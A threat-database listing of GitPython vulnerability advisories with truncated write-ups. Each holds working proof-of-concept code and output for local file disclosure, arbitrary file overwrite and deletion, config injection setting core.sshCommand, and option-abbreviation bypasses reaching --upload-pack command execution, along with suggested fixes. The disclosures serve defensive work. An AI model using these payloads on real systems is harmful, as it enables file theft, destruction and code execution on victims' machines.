Threat database
27,377 threats
| Severity | CVSS | Signals | Threat | Source | Added | Score and star |
|---|---|---|---|---|---|---|
| High | 8.6 | EPSS 0.2% | CVE-2026-78675shallow-backup · GitPython: Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules High8.6EPSS 0.2%GCVE DatabaseCVE-2026-78675 # [HIGH] Arbitrary local file content disclosure via `[include]` directive in untrusted `.gitmodules` (`SubmoduleConfigParser` never disables `merge_includes`) - **CWE:** CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path) - **Affected component:** `git/objects/submodule/base.py`, `Submodule._config_parser()` (~line 273) constructing `SubmoduleConfigParser(fp_module, read_only=read_only)`; `git/config.py`, `GitConfigParser.__init__` (`merge_includes` default), `GitConfigParser.read()`/`_included_paths()` (include-path resolution, ~lines 630-685), `GitConfigParser._read()` (~line 493-498, `MissingSectionHeaderError`) - **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`) ## Reachability `GitConfigParser.__init__` defaults `merge_includes=True`: any config file it parses has its `[include]` (and, when a `repo=` is supplied, `[includeIf ...]`) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit `41ecc6a4` ("Disable merge_includes in config writers"), which passes `merge_includes=False` when `Repo.config_writer()` builds its parser (`git/repo/base.py`). That fix never touched `Submodule._config_parser()`. This method builds the parser used for **every** read of a repo's submodule configuration — `repo.submodules`, `Submodule.iter_items()`, `Submodule.config()` — via `SubmoduleConfigParser(fp_module, read_only=read_only)`, passing neither `merge_includes=False` nor `repo=`. The `True` class default is therefore inherited unchanged, and `fp_module` here is `.gitmodules` — **the single most attacker-controlled config file in the entire codebase**, since it ships verbatim as tracked content inside any cloned repository. `GitConfigParser.read()`'s include-path resolution (~line 662-680) performs no containment check: `osp.isabs(include_path)` short-circuits the path join entirely for an absolute path, and a relative path is joined with `osp.join(osp.dirname(file_path), include_path)` / `osp.normpath()`'d with no check that the result stays under the repository. `~` is expanded via `osp.expanduser`. The only gate before opening is `os.access(include_path, os.R_OK)` — a readability check, not a path restriction. Once opened, `GitConfigParser._read()` parses the target file as git-config INI. If the first non-blank/non-comment line is not a `[section]` header — true of virtually any non-gitconfig file (source code, `/etc/passwd`, `.env` files, credential files, logs, JSON/YAML) — it raises `configparser.MissingSectionHeaderError(fpname, lineno, line)`. Python's stdlib formats this exception's `str()` as `"File contains no section headers.\nfile: %r, line: %d\n%r" % (fpname, lineno, line)` — it embeds the **verbatim content** of that file's first line in the exception message. `Submodule.iter_items()` catches only `(IOError, BadName)`, not `configparser.Error`, so this exception propagates straight out of the ordinary, read-only `repo.submodules` call. ## Root cause Parity gap between two config-parser construction sites for the exact same footgun: `Repo.config_writer()` was hardened against `merge_includes` in 2023 (`41ecc6a4`); `Submodule._config_parser()` — which parses `.gitmodules`, content that is *always* attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule *write*-mode config parser at `git/objects/submodule/base.py` for `.git/modules/<name>/config` — a different, locally-generated file — has correctly passed `merge_includes=False` since 2022, underscoring that the omission for `.gitmodules` reads looks like an oversight rather than a considered exception.) ## Exploit path 1. Attacker crafts a repository whose `.gitmodules` contains a legitimate-looking `[submodule ...]` section plus: ``` [include] path = /etc/passwd ``` (an absolute path bypasses any traversal reasoning entirely; a relative `../../../../etc/passwd`-style path works too). 2. Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo's submodules: `list(repo.submodules)` (or any `for sm in repo.submodules`) — no `update()`, `init()`, or checkout of any kind required. 3. `SubmoduleConfigParser` (inheriting `merge_includes=True`) follows the `[include]` directive, opens `/etc/passwd`, and `GitConfigParser._read()` raises `MissingSectionHeaderError` whose message embeds `/etc/passwd`'s first line verbatim. 4. This exception surfaces wherever the host application observes exceptions from GitPython — CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on `repo.submodules` — disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error). ## Impact Non-blind local file content disclosure (first line) of any file readab | GCVE Database | ||
| High | 7.2 | EPSS 0.5% | CVE-2026-76219IndexFile.from_tree/reset/merge_tree enables arbitrary file · GitPython: Unguarded git read-tree option forwarding High7.2EPSS 0.5%GCVE DatabaseCVE-2026-76219 ## Summary `IndexFile.from_tree`, `IndexFile.reset` (→ from_tree) and `IndexFile.merge_tree` append caller-influenced treeish strings positionally to `git read-tree` with no unsafe-option guard, no `allow_unsafe_options` parameter, and no `--` separator. `git read-tree --index-output=<file>` writes the resulting index to an arbitrary path, and last-occurrence-wins lets an injected `--index-output` override the method's internal temp path — clobbering an arbitrary file with a valid git-index blob. This is a distinct, never-guarded sink: commit `3af0c251` (GHSA-3f7w-8rr8-f37f) guarded only `checkout_index` and `tag`; `read_tree` was left unprotected (it is among the acknowledged unguarded call sites in that advisory's sweep but was never reported or fixed). ## Root Cause `from_tree` (index/base.py:388), `reset` (delegates to from_tree), and `merge_tree` (index/base.py:291) call `repo.git.read_tree(*arg_list)` with no `check_unsafe_options` and no `--`. The treeish is caller-influenced and positional. ## Impact Arbitrary file overwrite / destruction at the privileges of the host process. Content is constrained to a git-index blob (not attacker-chosen, so not RCE), but the target path is fully attacker-controlled — corrupting/truncating configs or destroying files at attacker-chosen writable locations = I:H + A:H (per the skill's "overwrite-any-path = I:H" rule). Pure VALUE control (positional treeish). Default configuration. ## Proof of Concept ```python IndexFile.from_tree(repo, "--index-output=/home/victim/.bashrc") # target overwritten with a valid git-index blob (DIRC...) ``` ## Attack Chain 1. Entry: app calls `IndexFile.from_tree(repo, treeish)` / `reset(commit=…)` / `merge_tree(base=…, rhs=…)` with attacker `treeish="--index-output=/home/victim/.bashrc"`. 2. Check: NONE — the methods have no `allow_unsafe_options` and never call `check_unsafe_options`. 3. Sink: `repo.git.read_tree(*arg_list)` — no `--`. argv (from_tree, observed): `['git','read-tree','--index-output=<tmp>','--index-output=/…/victim']` (last-wins). 4. Impact: target path created/overwritten with a valid git-index blob; existing content destroyed. ## Bypass Evidence Independently reproduced (gate harness): `IndexFile.from_tree(repo,'--index-output=<victim>')` → victim overwritten; before=`IMPORTANT ORIGINAL CONTENT`, after starts `DIRC\x00\x00\x00\x02…` (destructive clobber, valid index blob). `reset(commit=…)` and both `merge_tree` positionals verified. Fix-commit read: `3af0c251` touched only `checkout_index`+`tag`; `read_tree` untouched on HEAD. ## Affected Versions `GitPython <= 3.1.57` (sinks present verbatim on the latest release tag). ## Suggested Fix Add a `check_unsafe_options` guard (with an `allow_unsafe_options` parameter) to `from_tree`/`reset`/`merge_tree`, and/or place a `--` separator before the positional treeish arguments; block `--index-output` (a path-taking option) on this sink. | GCVE Database | ||
| High | 7.7 | EPSS 0.8% | High7.7EPSS 0.8%GCVE DatabaseCVE-2026-73623 ## Summary GitPython's `unsafe_git_clone_options` denylist omits `--template`. `git clone --template=<dir>` copies `<dir>/hooks/` into the new repository and runs them (`post-checkout` fires during clone), so a caller who can influence clone options can achieve arbitrary command execution in the default `allow_unsafe_options=False` configuration. ## Root Cause `base.py:145-152` defines `unsafe_git_clone_options = ["--upload-pack","-u","--config","-c"]` — `--template` is absent. The guard candidate `['--template']` passes `check_unsafe_options` (verified). git copies the hook directory and executes `post-checkout` at checkout time. git's `protocol.allow`/`GIT_ALLOW_PROTOCOL` do not gate `--template`; the incomplete denylist is the only defense. ## Impact Arbitrary OS command execution during clone (default config). Requires an attacker-readable directory containing an executable hook — a genuine second precondition (realistic via shared filesystems, upload dirs, `/tmp`, or attacker-writable network paths), reflected as AC:H. ## Proof of Concept ```python # attacker stages <dir>/hooks/post-checkout (chmod +x) from git import Repo Repo.clone_from(src, dst, template='<dir>') # post-checkout hook executes -> marker created (verified) ``` ## Attack Chain 1. Setup: attacker stages `<dir>/hooks/post-checkout` (chmod +x). Guard: n/a (filesystem). 2. Entry: `Repo.clone_from(url, path, template='<dir>')`. Guard: `check_unsafe_options(candidates=['--template'], unsafe=unsafe_git_clone_options)`. Bypass proof: `--template` not on the denylist -> passes (verified candidate `['--template']`, no error). 3. Sink: git copies the hook and executes `post-checkout` at checkout. Impact: ACE, default config (verified marker created). ## Bypass Evidence Live-verified on HEAD (tag 3.1.53): guard candidate `['--template']` passed with no error; staged `post-checkout` hook executed during `clone_from`, creating the marker. Independent of the value-smuggle bypass (`--template` is a legitimate long option that survives any single-char-value fix). Not covered by any existing advisory. ## Affected Versions `<= 3.1.53` ## Suggested Fix Add `--template` (and audit for other hook/exec-influencing options) to `unsafe_git_clone_options`. --- Reported by **zx (Jace)** — GitHub: @manus-use | GCVE Database | ||
| High | 7.2 | EPSS 0.6% | High7.2EPSS 0.6%GCVE DatabaseCVE-2026-73620 **Target:** gitpython-developers/GitPython **Tested:** HEAD `07e80555` (2026-07-25), latest release 3.1.55, `git version 2.50.1` **Reported instances:** 2 exploitable, from a sweep of 14 unguarded call sites ## Summary GitPython blocks dangerous git options through `Git.check_unsafe_options()`, gated per method by an `allow_unsafe_options` parameter. That guard is applied **per call site**, so any API that forwards `**kwargs` into a git command without calling it passes caller-controlled options straight to git. A mechanical sweep of every method that forwards `**kwargs` into a `.git.<command>(...)` call found **14 sites with no guard**. Two reach a git option that takes a filesystem path: | # | Call site | git option | Impact | |---|---|---|---| | 1 | `IndexFile.checkout()` → `git checkout-index` | `--prefix=<path>` | arbitrary file **overwrite** with repository-controlled content | | 2 | `TagReference.create()` → `git tag` | `-F <file>` / `--file=<file>` | arbitrary file **read**, returned in-band | This is the same defect class already fixed in `Commit.count()` (GHSA-p538-c434-8v24), `Repo.archive()` and `Git.ls_remote()` (GHSA-956x-8gvw-wg5v). Both instances below are still present at HEAD. --- ## Instance 1 — `IndexFile.checkout()`: arbitrary file overwrite `git/index/base.py:1210` accepts `**kwargs` and forwards them with no guard: ```python def checkout(self, paths=None, force=False, fprogress=lambda *args: None, **kwargs): ... proc = self.repo.git.checkout_index(*args, **kwargs) # line 1331 ... proc = self.repo.git.checkout_index(args, **kwargs) # line 1349 ``` There is no `allow_unsafe_options` parameter and no `check_unsafe_options()` call in the method. `git checkout-index` accepts `--prefix=<string>`, prepended to every output path. It is not confined to the working tree, so an absolute prefix writes tracked file contents anywhere the process can write, and `-f` overwrites what is already there. ### Reproduction ```python from git import Repo Repo("/path/to/repo").index.checkout(prefix="/tmp/target_dir/", a=True, f=True) ``` Observed (`poc/poc_checkout_index.py`) — no exception raised, files land outside the repository: ``` [ALLOWED] no UnsafeOptionError raised files written outside the repo: ['f.txt'] f.txt: 'hi\n' ``` Overwrite of a pre-existing file (`poc/poc_ci_overwrite.py`) — the victim file held `ORIGINAL-DO-NOT-CLOBBER\n` before the call: ``` [ALLOWED] no exception victim content now: 'hi\n' OVERWRITTEN: True ``` ### Why this rates High Both halves of the write are attacker-influenced: - **Destination** — the `prefix` kwarg. - **Content** — the bytes written are repository blobs, so anyone who can land a file in the repository (a pull-request branch, a mirrored or untrusted repository, an agent-cloned repository) controls exactly what is written. Commit a file named `authorized_keys`, `.bashrc`, `config` or `post-checkout`, choose the matching prefix (`~/.ssh/`, `~/`, `.git/hooks/`), and the write becomes code execution as the service account. For comparison within this project: GHSA-fjr4-x663-mwxc (arbitrary file overwrite via `git diff --output`) is rated High, and GHSA-p538-c434-8v24 (arbitrary file *truncation* via `git rev-list --output`) is rated Medium. `--prefix` supplies full content control, so it sits at or above the former. --- ## Instance 2 — `TagReference.create()`: arbitrary file read `git/refs/tag.py:88` forwards `**kwargs` into `git tag` with no guard, and the signature advertises the passthrough: ```python def create(cls, repo, path, reference="HEAD", logmsg=None, force=False, **kwargs): """... :param kwargs: Additional keyword arguments to be passed to :manpage:`git-tag(1)`. """ ``` `git tag` accepts `-F <file>` / `--file=<file>`, which reads the tag message from an arbitrary path. The annotated tag object stores that content and GitPython returns it to the caller via `TagReference.tag.message`, so the file contents come back in-band. ### Reproduction ```python from git import Repo from git.refs.tag import TagReference t = TagReference.create(Repo("/path/to/repo"), "x", force=True, a=True, F="/etc/passwd") print(t.tag.message) ``` Observed (`poc/poc_tag_F.py`), reading a canary file outside the repository: ``` [ALLOWED] no UnsafeOptionError raised >>> tag message recovered from arbitrary path: 'TAG-READ-CANARY-98765\nsecond-line-secret' ``` Impact is a read at the privileges of the process. I am not claiming code execution for this instance. The signing options (`-s`, `-u`/`--local-user`) do invoke gpg from the same unguarded kwargs, but I did not develop that into command execution and make no claim about it. --- ## Sweep results — the other 12 sites Reported so the fix can be scoped once rather than per report. `poc/sweep.py` reproduces this list. | Call site | git command | Assessment | |---|---|---| | `IndexFile.from_tree()` | `read-tree` | `--index-output=<path>` looked reachable but i | GCVE Database | ||
| High | 7.1 | EPSS 0.4% | High7.1EPSS 0.4%GCVE DatabaseCVE-2026-73619 **Target:** gitpython-developers/GitPython **Tested:** HEAD `07e80555` (2026-07-25), latest release 3.1.55, `git version 2.50.1` ## Summary `Repo.archive()` does call the option guard, so this is not a missing-guard report. The guard is present and working; the **denylist it consults is incomplete**. ```python # git/repo/base.py:169 unsafe_git_archive_options = [ # Allows arbitrary command execution through the remote git-upload-archive command. "--exec", # Writes output to a caller-controlled filesystem path. "--output", "-o", ] ``` The comment on `--output` states the protected class in the project's own words: an option that lets the caller name **a filesystem path** is unsafe. `--output` is blocked because it *writes* to a caller-chosen path. `git archive` also accepts `--add-file=<path>` and `--add-virtual-file=<path:content>` (both present in current git; verified against `git version 2.50.1`). `--add-file` *reads* a caller-chosen path — including an absolute path outside the repository — and places the bytes into the archive the caller receives. Neither option is in the list, and no other layer references them: ``` $ grep -rniE "add.file|add_file" git/ git/index/base.py:771: R"""Add files from the working tree, ... # unrelated docstring ``` Net effect: the guard blocks arbitrary file **write** at this sink while permitting arbitrary file **read** at the same sink. ## Reachability proof (verified at the sink) `poc/poc_addfile.py` at HEAD `07e80555`. The PoC creates its own out-of-tree canary, so it runs from a clean machine: ``` -- CONTROL: options the denylist covers (expect BLOCKED) -- [BLOCKED] output='/tmp/gp_written.tar': --output is not allowed, use `allow_unsafe_options=True` to allow it. [BLOCKED] o='/tmp/gp_written.tar': -o is not allowed, use `allow_unsafe_options=True` to allow it. [BLOCKED] exec='touch /tmp/gp_exec': --exec is not allowed, use `allow_unsafe_options=True` to allow it. -- SIBLING OMITTED FROM THE DENYLIST: --add-file (expect ALLOWED) -- [ALLOWED] add_file='/tmp/gp_canary.txt' -> archive 10240 bytes archive members: ['f.txt', 'gp_canary.txt'] >>> EXFILTRATED gp_canary.txt: 'secret-canary-12345' >>> byte-for-byte match with the out-of-tree file: CONFIRMED -- also: --add-virtual-file (attacker-chosen name AND content) -- [ALLOWED] add_virtual_file='pwn.txt:hello' -> archive 10240 bytes ``` The three blocked lines are the control: they prove the guard is active on this call path, so the fourth result is a gap in list membership rather than a guard that never ran. Minimal reproduction: ```python import io, tarfile from git import Repo buf = io.BytesIO() Repo("/path/to/repo").archive(buf, format="tar", add_file="/etc/passwd") print(tarfile.open(fileobj=io.BytesIO(buf.getvalue())).getnames()) # ['<repo files>', 'passwd'] <- contents readable by whoever receives the archive ``` The canary is untracked and lives outside the repository; its contents are recovered from the returned archive and asserted byte-for-byte against the on-disk file. The option is rendered by `transform_kwargs` into `--add-file=<path>` and reaches `git archive` unmodified. ## Direct precedent `GHSA-6p8h-3wgx-97gf` (High, published 2026-07-22) is the same defect on the sibling list: *"Incomplete `unsafe_git_clone_options` denylist omits `--template`"* — an option absent from one of these denylists, reachable under the same caller-controlled-options precondition, accepted and fixed by adding it. `git log` shows the archive list itself has already been extended reactively once, in `701ce32f` (*fix: Guard unsafe git command options*, GHSA-956x-8gvw-wg5v), and the `--template` omission was then fixed separately in `ffcb5359`. ## `--add-virtual-file` is the same gap pointing the other way `--add-virtual-file=<path:content>` lets the caller inject **attacker-chosen content under an attacker-chosen name** into an archive that downstream consumers will reasonably treat as repository-derived. ## Suggested remediation 1. **Preferred — allowlist.** `Repo.archive()` has a small legitimate option surface (`format`, `prefix`, `worktree_attributes`, `remote`, compression level, plus paths). Accepting those and rejecting the rest means a future git release cannot add another path-taking option that silently reopens this. 2. **Minimum — extend the list** with `--add-file` and `--add-virtual-file`, and make the membership rule *"the option takes a filesystem path or URL"* rather than *"the option executes a command"*. The existing comment on `--output` already implies that rule; applying it consistently is what closes the class instead of this instance. ## Scope limits - Impact is **arbitrary file read at the privileges of the process**. Not code execution — I make no such claim here. - It requires the embedding application to forward caller-influenced kwargs into `Repo.archive()`. That is the identical precondition to `--output`, `--exec` and `--template`, | GCVE Database | ||
| High | 7.3 | EPSS 0.3% | CVE-2026-69097GitPython · git-config section-name injection enables arbitrary config directives (core.sshCommand RCE) High7.3EPSS 0.3%GCVE DatabaseCVE-2026-69097 ### Summary In GitPython `<= 3.1.52`, the config writer neutralizes only CR, LF, and NUL in configuration **names**, but writes section names into the `[...]` header with no other escaping. A section/subsection name that contains `] [ "` closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule **name** is attacker-controlled data (it comes from a repository's `.gitmodules`, or from an application that lets a user name a submodule) and is written verbatim into the parent repository's trusted `.git/config`, an attacker can set `core.sshCommand` (or `alias.*`, `core.pager`, `core.fsmonitor`) and achieve remote code execution on the victim's next git operation. Likely **CWE-74 (Injection)**. This is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed **newline** injection into config values/names (patched in 3.1.50); the `[r\n\x00]` guard added for them does not stop a **same-line** section break inside a name. ### Details The only guard applied to section/option names before writing is `_assure_config_name_safe`, which uses a regex that matches solely CR/LF/NUL: `git/config.py:75,897-899` (`GitPython 3.1.52`): ```python UNSAFE_CONFIG_CHARS_RE = re.compile(r"[\r\n\x00]") ... def _assure_config_name_safe(self, name: "cp._SectionName", label: str) -> None: if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name): raise ValueError("Git config %s names must not contain CR, LF, or NUL" % label) ``` The name is then serialized into the header with no escaping of `]`, `[`, `"`, space, `=` or `#`: `git/config.py:693`: ```python fp.write(("[%s]\n" % name).encode(defenc)) ``` For submodules the name is wrapped as `submodule "<name>"` (`git/objects/submodule/util.py:39`, `return f'submodule "{name}"'`), which supplies the balancing quote. A submodule named: ``` x"] [core] sshCommand=CMD # ``` therefore serializes to the header `[submodule "x"] [core] sshCommand=CMD #"]`. git parses everything after the first `]` on that line as a fresh section, yielding `core.sshCommand=CMD` (the trailing `#"]` is an inline comment). No CR/LF/NUL appears, so `_assure_config_name_safe` never fires. The attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's `.git/config`: - `Repo.create_submodule(name=<untrusted>, ...)` → `Submodule.add` → `git/objects/submodule/base.py:619` `writer.set_value(sm_section(name), "url", url)` — a single call, no hostile remote required. - `Repo.clone_from(<hostile url>)` + `repo.submodule_update(init=True)` → `git/objects/submodule/base.py:855` `writer.set_value(sm_section(self.name), "url", self.url)`, where `self.name` is read unvalidated from the cloned repo's `.gitmodules`. Asymmetry: the sibling class is blocked — a newline in a config **value**, e.g. `set_value("core", "editor", "x\n\tsshCommand=CMD")`, raises `ValueError`. The section-**name** bracket payload is not caught by the same guard. ### PoC Single self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with `git config --get`; no ssh/fetch/push is run and nothing is executed. ```python #!/usr/bin/env python3 """Minimal PoC: git-config section-name injection in GitPython==3.1.52.""" from importlib.metadata import version import os, tempfile, subprocess import git print(f"# GitPython {version('GitPython')}") # version proof -- first line MARKER = "MARKER_9f3a" # inert; never executed tmp = tempfile.mkdtemp() env = {**os.environ, "HOME": tmp, "GIT_CONFIG_GLOBAL": os.path.join(tmp, "gc"), "GIT_CONFIG_SYSTEM": os.devnull, "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@b.c", "GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@b.c"} def run(*a, cwd=None): return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True) # A benign local repo used as the submodule url (a plain path, no network). src = os.path.join(tmp, "src"); os.makedirs(src) run("git", "init", "-q", src) open(os.path.join(src, "f"), "w").write("x") run("git", "add", "f", cwd=src); run("git", "commit", "-qm", "i", cwd=src) suburl = os.path.join(tmp, "sub.git"); run("git", "clone", "-q", "--bare", src, suburl) def parent_repo(): p = tempfile.mkdtemp(dir=tmp) run("git", "init", "-q", p) open(os.path.join(p, "r"), "w").write("x") run("git", "add", "r", cwd=p); run("git", "commit", "-qm", "i", cwd=p) return p def injected_sshcommand(parent): r = run("git", "config", "-f", os.path.join(parent, ".git", "config"), "--get", "core.sshCommand") return (r.returncode, r.stdout.strip()) benign = "docs" evil = f'x"] [core] sshCommand={MARKER} #' # closes the header, opens [core] p_control = parent_repo() git.Repo(p_co | GCVE Database | ||
| High | 8.7 | EPSS 2.2% | CVE-2026-67325GitPython · Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist High8.7EPSS 2.2%GCVE DatabaseCVE-2026-67325 ## Command injection via long-option prefix abbreviation bypassing `check_unsafe_options` (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4) **Component:** gitpython-developers/GitPython (PyPI: GitPython) **Affected:** all versions carrying the 3.1.47 blocklist fix, through current `main` (verified at commit `20c5e275`, `3.1.50-42`) **Reporter:** hackkim ### Summary The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (`--upload-pack`, `--config`, `-c`, `-u` for clone; `--upload-pack` for fetch/pull; `--receive-pack`, `--exec` for push) so callers cannot reach command-executing options unless they pass `allow_unsafe_options=True`. The fix canonicalizes an option name along **one** axis (underscore→hyphen via `dashify`) and checks it against an **exact-match** dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (`--upload-p`, `--upload-pa`, `--upload-pac` all resolve to `--upload-pack`). So a kwarg key like `upload_p` canonicalizes to `upload-p`, misses the blocklist dict, and is emitted to git as `--upload-p=<value>` → executed as `--upload-pack=<value>` → command injection, in the default `allow_unsafe_options=False` configuration. ### The asymmetry (root cause) ```python # git/cmd.py (commit 20c5e275), lines 948-974 @classmethod def _canonicalize_option_name(cls, option): option_name = option.lstrip("-").split("=", 1)[0] option_tokens = option_name.split(None, 1) if not option_tokens: return "" return dashify(option_tokens[0]) # only transform: "_" -> "-" @classmethod def check_unsafe_options(cls, options, unsafe_options): canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options} for option in options: unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option)) if unsafe_option is not None: raise UnsafeOptionError(...) ``` The guard normalizes only `_`→`-` and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option. ### Affected code (commit `20c5e275`) | Location | Role | |---|---| | `git/cmd.py:948-960` `_canonicalize_option_name` | canonicalizer — no prefix expansion | | `git/cmd.py:963-974` `check_unsafe_options` | exact-match dict lookup (the incomplete guard) | | `git/cmd.py:1511` `transform_kwarg` | emits `--<dashify(name)>=<value>` to the CLI | | `git/repo/base.py:1411,1413` | clone call sites | | `git/remote.py:1074,1128,1201` | fetch / pull / push call sites | ### Bypass keys (verified) | kwarg key | git resolves to | path | weaponizable | |---|---|---|---| | `upload_p`, `upload_pac` | `--upload-pack` | clone / fetch / pull | Yes — direct RCE | | `receive_p` | `--receive-pack` | push | Yes — direct RCE | | `exe` | `--exec` | push | Yes — direct RCE | | `conf`, `confi` | `--config` | clone | bypasses option blocklist; RCE needs an additional config vector (see note) | ### Minimal PoC Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current `main` (git 2.50.1): ```python import os, stat, tempfile from git import Repo work = tempfile.mkdtemp() marker = os.path.join(work, "RCE_MARKER") # fake "upload-pack" program that proves arbitrary command execution prog = os.path.join(work, "evil.sh") with open(prog, "w") as f: f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n") # exit 1 so git aborts after our code ran os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC) bare = os.path.join(work, "remote.git") Repo.init(bare, bare=True) # attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog> try: Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog) except Exception: pass # git aborts with GitCommandError AFTER the payload executed print("RCE marker created:", os.path.exists(marker)) # True -> command injection confirmed ``` Equivalent at the shell: `git clone --upload-p=/tmp/evil.sh src out` runs `evil.sh`. Confirmed behavior: - `upload_pack` (exact) → blocked; `upload_p` (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form. - `allow_unsafe_options=True` opt-out behaves as documented (out of scope). ### Honest scope note Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg **keys** into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (`allow_unsafe_options=False`), which this variant defeats. On the `--config` family: `conf` bypasses the option blocklist, but weaponizing `--config protocol.ext.allow=always` via an `ext::` URL is independently blocked by GitPython's protocol allowlist (`allow_unsafe_protocols=False`). The dire | GCVE Database | ||
| High | 7.8 | EPSS 0.4% | CVE-2026-44243Shallow backup: GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and High7.8EPSS 0.4%GCVE DatabaseCVE-2026-44243 ## 🧾 Summary A vulnerability in **GitPython** allows **attackers who can supply a crafted reference path to an application using GitPython** to **write, overwrite, move, or delete files outside the repository’s `.git` directory** via **insufficient validation of reference paths in reference creation, rename, and delete operations**. --- ## 📦 Affected Versions * Affected: `<= 3.1.46` and current `main` (`3.1.47` in local checkout) --- ## 🧠 Details ### Vulnerability Type **Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion** --- ### Root Cause Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations. `SymbolicReference._check_ref_name_valid()` rejects traversal sequences such as `..`, but `SymbolicReference.create`, `Reference.create`, `SymbolicReference.set_reference`, `SymbolicReference.rename`, and `SymbolicReference.delete` still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries. --- ### Affected Code ```python def set_reference(self, ref, logmsg=None): ... fpath = self.abspath assure_directory_exists(fpath, is_file=True) lfd = LockedFD(fpath) fd = lfd.open(write=True, stream=True) ... ``` ```python @classmethod def delete(cls, repo, path): full_ref_path = cls.to_full_path(path) abs_path = os.path.join(repo.common_dir, full_ref_path) if os.path.exists(abs_path): os.remove(abs_path) ``` ```python def rename(self, new_path, force=False): new_path = self.to_full_path(new_path) new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path) cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path) ... os.rename(cur_abs_path, new_abs_path) ``` --- ### Attack Vector **Local attack through application-controlled input passed into GitPython reference APIs** ### Authentication Required **None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.** --- ## 🧪 Proof of Concept ### Setup ```bash pip install GitPython==3.1.46 python poc.py ``` --- ### Exploit ```python import shutil from pathlib import Path from git import Repo from git.refs.reference import Reference from git.refs.symbolic import SymbolicReference base = Path("gp-ghsa-poc").resolve() if base.exists(): shutil.rmtree(base) repo_dir = base / "repo" repo = Repo.init(repo_dir) (repo_dir / "a.txt").write_text("init\n", encoding="utf-8") repo.index.add(["a.txt"]) repo.index.commit("init") outside_write = base / "outside_write.txt" outside_delete = base / "outside_delete.txt" outside_delete.write_text("DELETE ME\n", encoding="utf-8") print(f"repo_dir = {repo_dir}") print(f"outside_write = {outside_write}") print(f"outside_delete = {outside_delete}") Reference.create(repo, "../../../outside_write.txt", "HEAD") print("\n[+] outside_write exists:", outside_write.exists()) if outside_write.exists(): print("[+] outside_write content:") print(outside_write.read_text(encoding="utf-8")) SymbolicReference.delete(repo, "../../../outside_delete.txt") print("\n[+] outside_delete exists after delete:", outside_delete.exists()) ``` --- ### Result ```text repo_dir = ...\gp-ghsa-poc\repo outside_write = ...\gp-ghsa-poc\outside_write.txt outside_delete = ...\gp-ghsa-poc\outside_delete.txt [+] outside_write exists: True [+] outside_write content: <current HEAD commit SHA> [+] outside_delete exists after delete: False ``` --- ## 💥 Impact ### What can an attacker do? * Create or overwrite files outside the repository metadata directory * Delete attacker-chosen files reachable from the process permissions * Corrupt application state or configuration files * Cause denial of service by deleting or overwriting important files --- ### Security Impact * **Confidentiality:** Low * **Integrity:** High * **Availability:** High --- ### Who is affected? * Applications that expose GitPython reference operations to user-controlled input * Git automation services, repository management backends, CI/CD helpers, and developer platforms * Multi-user environments where one user can influence ref names processed on behalf of another workflow --- ## 🛠️ Mitigation / Fix ### Recommended Fix ```python def _validate_ref_write_path(repo, path, *, for_git_dir=False): SymbolicReference._check_ref_name_valid(path) base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve() target = (base / path).resolve() if base not in [target, *target.parents]: raise ValueError(f"Reference path escapes repository boundary: {path}") return str(target) ``` ```python full_ref_path = cls.to_full_path(path) _validate_ref_write_path(repo, full_ref_path) ``` | GCVE Database | ||
